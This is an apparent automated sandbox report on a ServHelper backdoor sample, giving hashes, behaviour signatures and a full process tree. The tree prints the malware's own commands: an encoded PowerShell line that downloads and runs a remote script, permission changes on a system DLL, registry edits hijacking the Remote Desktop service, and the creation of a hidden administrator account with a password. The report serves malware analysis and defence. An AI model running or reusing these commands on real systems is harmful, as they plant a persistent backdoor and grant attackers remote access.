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Analysis
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max time kernel
127s -
max time network
122s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
01/02/2022, 02:05
Static task
static1
Behavioral task
behavioral1
Sample
08a75beea96e15a6bc2e838cf0649ef0e3be100b819d4513b816778f18903c12.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
08a75beea96e15a6bc2e838cf0649ef0e3be100b819d4513b816778f18903c12.exe
Resource
win10v2004-en-20220113
General
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Target
08a75beea96e15a6bc2e838cf0649ef0e3be100b819d4513b816778f18903c12.exe
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Size
4.5MB
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MD5
2519d825ce34edc5881380dfe1a2f9c4
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SHA1
642d87e38007682e8c60265ee59e67b09c32eb16
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SHA256
08a75beea96e15a6bc2e838cf0649ef0e3be100b819d4513b816778f18903c12
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SHA512
e4dfe0e8f3100824bd74942f4b97d39812055a572a1050ce8b18d0485c3f4bc42eb06c220ad4b145c055af7184ea31ca0274fcb029485f3cf90c8e81613c1ddd
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
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ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
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Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
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Blocklisted process makes network request 2 IoCs
flow pid Process 5 2032 powershell.exe 6 2032 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
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Possible privilege escalation attempt 8 IoCs
pid Process 1552 icacls.exe 1592 icacls.exe 268 icacls.exe 796 icacls.exe 1484 icacls.exe 928 icacls.exe 324 icacls.exe 920 takeown.exe -
Sets DLL path for service in the registry 2 TTPs
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resource yara_rule behavioral1/files/0x0008000000012634-103.dat upx behavioral1/files/0x000a000000012644-104.dat upx -
Loads dropped DLL 2 IoCs
pid Process 1560 Process not Found 1560 Process not Found -
Modifies file permissions 1 TTPs 8 IoCs
pid Process 1592 icacls.exe 268 icacls.exe 796 icacls.exe 1484 icacls.exe 928 icacls.exe 324 icacls.exe 920 takeown.exe 1552 icacls.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 9 IoCs
description ioc Process File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\C1VQCOAWS7TW76V1AW9F.temp powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe -
Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 609166b71817d801 powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 748 reg.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 848 powershell.exe 1652 powershell.exe 1404 powershell.exe 1768 powershell.exe 848 powershell.exe 848 powershell.exe 848 powershell.exe 2032 powershell.exe -
Suspicious behavior: LoadsDriver 4 IoCs
pid Process 464 Process not Found 1560 Process not Found 1560 Process not Found 1560 Process not Found -
Suspicious use of AdjustPrivilegeToken 18 IoCs
description pid Process Token: SeDebugPrivilege 848 powershell.exe Token: SeDebugPrivilege 1652 powershell.exe Token: SeDebugPrivilege 1404 powershell.exe Token: SeDebugPrivilege 1768 powershell.exe Token: SeRestorePrivilege 1592 icacls.exe Token: SeAssignPrimaryTokenPrivilege 2028 WMIC.exe Token: SeIncreaseQuotaPrivilege 2028 WMIC.exe Token: SeAuditPrivilege 2028 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2028 WMIC.exe Token: SeIncreaseQuotaPrivilege 2028 WMIC.exe Token: SeAuditPrivilege 2028 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1052 WMIC.exe Token: SeIncreaseQuotaPrivilege 1052 WMIC.exe Token: SeAuditPrivilege 1052 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1052 WMIC.exe Token: SeIncreaseQuotaPrivilege 1052 WMIC.exe Token: SeAuditPrivilege 1052 WMIC.exe Token: SeDebugPrivilege 2032 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 880 wrote to memory of 848 880 08a75beea96e15a6bc2e838cf0649ef0e3be100b819d4513b816778f18903c12.exe 27 PID 880 wrote to memory of 848 880 08a75beea96e15a6bc2e838cf0649ef0e3be100b819d4513b816778f18903c12.exe 27 PID 880 wrote to memory of 848 880 08a75beea96e15a6bc2e838cf0649ef0e3be100b819d4513b816778f18903c12.exe 27 PID 848 wrote to memory of 1352 848 powershell.exe 29 PID 848 wrote to memory of 1352 848 powershell.exe 29 PID 848 wrote to memory of 1352 848 powershell.exe 29 PID 1352 wrote to memory of 748 1352 csc.exe 30 PID 1352 wrote to memory of 748 1352 csc.exe 30 PID 1352 wrote to memory of 748 1352 csc.exe 30 PID 848 wrote to memory of 1652 848 powershell.exe 31 PID 848 wrote to memory of 1652 848 powershell.exe 31 PID 848 wrote to memory of 1652 848 powershell.exe 31 PID 848 wrote to memory of 1404 848 powershell.exe 33 PID 848 wrote to memory of 1404 848 powershell.exe 33 PID 848 wrote to memory of 1404 848 powershell.exe 33 PID 848 wrote to memory of 1768 848 powershell.exe 35 PID 848 wrote to memory of 1768 848 powershell.exe 35 PID 848 wrote to memory of 1768 848 powershell.exe 35 PID 848 wrote to memory of 920 848 powershell.exe 38 PID 848 wrote to memory of 920 848 powershell.exe 38 PID 848 wrote to memory of 920 848 powershell.exe 38 PID 848 wrote to memory of 1552 848 powershell.exe 39 PID 848 wrote to memory of 1552 848 powershell.exe 39 PID 848 wrote to memory of 1552 848 powershell.exe 39 PID 848 wrote to memory of 1592 848 powershell.exe 40 PID 848 wrote to memory of 1592 848 powershell.exe 40 PID 848 wrote to memory of 1592 848 powershell.exe 40 PID 848 wrote to memory of 268 848 powershell.exe 41 PID 848 wrote to memory of 268 848 powershell.exe 41 PID 848 wrote to memory of 268 848 powershell.exe 41 PID 848 wrote to memory of 796 848 powershell.exe 42 PID 848 wrote to memory of 796 848 powershell.exe 42 PID 848 wrote to memory of 796 848 powershell.exe 42 PID 848 wrote to memory of 1484 848 powershell.exe 43 PID 848 wrote to memory of 1484 848 powershell.exe 43 PID 848 wrote to memory of 1484 848 powershell.exe 43 PID 848 wrote to memory of 928 848 powershell.exe 44 PID 848 wrote to memory of 928 848 powershell.exe 44 PID 848 wrote to memory of 928 848 powershell.exe 44 PID 848 wrote to memory of 324 848 powershell.exe 45 PID 848 wrote to memory of 324 848 powershell.exe 45 PID 848 wrote to memory of 324 848 powershell.exe 45 PID 848 wrote to memory of 428 848 powershell.exe 46 PID 848 wrote to memory of 428 848 powershell.exe 46 PID 848 wrote to memory of 428 848 powershell.exe 46 PID 848 wrote to memory of 748 848 powershell.exe 47 PID 848 wrote to memory of 748 848 powershell.exe 47 PID 848 wrote to memory of 748 848 powershell.exe 47 PID 848 wrote to memory of 1180 848 powershell.exe 48 PID 848 wrote to memory of 1180 848 powershell.exe 48 PID 848 wrote to memory of 1180 848 powershell.exe 48 PID 848 wrote to memory of 1644 848 powershell.exe 49 PID 848 wrote to memory of 1644 848 powershell.exe 49 PID 848 wrote to memory of 1644 848 powershell.exe 49 PID 1644 wrote to memory of 1448 1644 net.exe 50 PID 1644 wrote to memory of 1448 1644 net.exe 50 PID 1644 wrote to memory of 1448 1644 net.exe 50 PID 848 wrote to memory of 1280 848 powershell.exe 51 PID 848 wrote to memory of 1280 848 powershell.exe 51 PID 848 wrote to memory of 1280 848 powershell.exe 51 PID 1280 wrote to memory of 1904 1280 cmd.exe 52 PID 1280 wrote to memory of 1904 1280 cmd.exe 52 PID 1280 wrote to memory of 1904 1280 cmd.exe 52 PID 1904 wrote to memory of 1704 1904 cmd.exe 53
Processes
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C:\Users\Admin\AppData\Local\Temp\08a75beea96e15a6bc2e838cf0649ef0e3be100b819d4513b816778f18903c12.exe"C:\Users\Admin\AppData\Local\Temp\08a75beea96e15a6bc2e838cf0649ef0e3be100b819d4513b816778f18903c12.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:880 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:848 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\brjkyoyg.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:1352 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4319.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC42F9.tmp"4⤵PID:748
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1652
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1404
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1768
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C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:920
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1552
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1592
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:268
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:796
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1484
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:928
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:324
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:428
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:748
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:1180
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C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:1644 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:1448
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:1280 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:1904 -
C:\Windows\system32\net.exenet start rdpdr5⤵PID:1704
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:1820
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵PID:1700
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C:\Windows\system32\cmd.execmd /c net start TermService4⤵PID:1620
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C:\Windows\system32\net.exenet start TermService5⤵PID:972
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:1364
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:268
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:1372
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵PID:1512
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵PID:684
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:1948
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc INMqxxxf /add1⤵PID:840
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc INMqxxxf /add2⤵PID:1732
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc INMqxxxf /add3⤵PID:1500
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵PID:920
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:916
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:268
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD1⤵PID:1484
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD2⤵PID:944
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD3⤵PID:804
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:1180
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:2032
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:1244
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc INMqxxxf1⤵PID:1280
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc INMqxxxf2⤵PID:1748
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc INMqxxxf3⤵PID:684
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C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:552
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2028
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C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:1372
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C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1052
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C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:1812
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C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:1704
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2032
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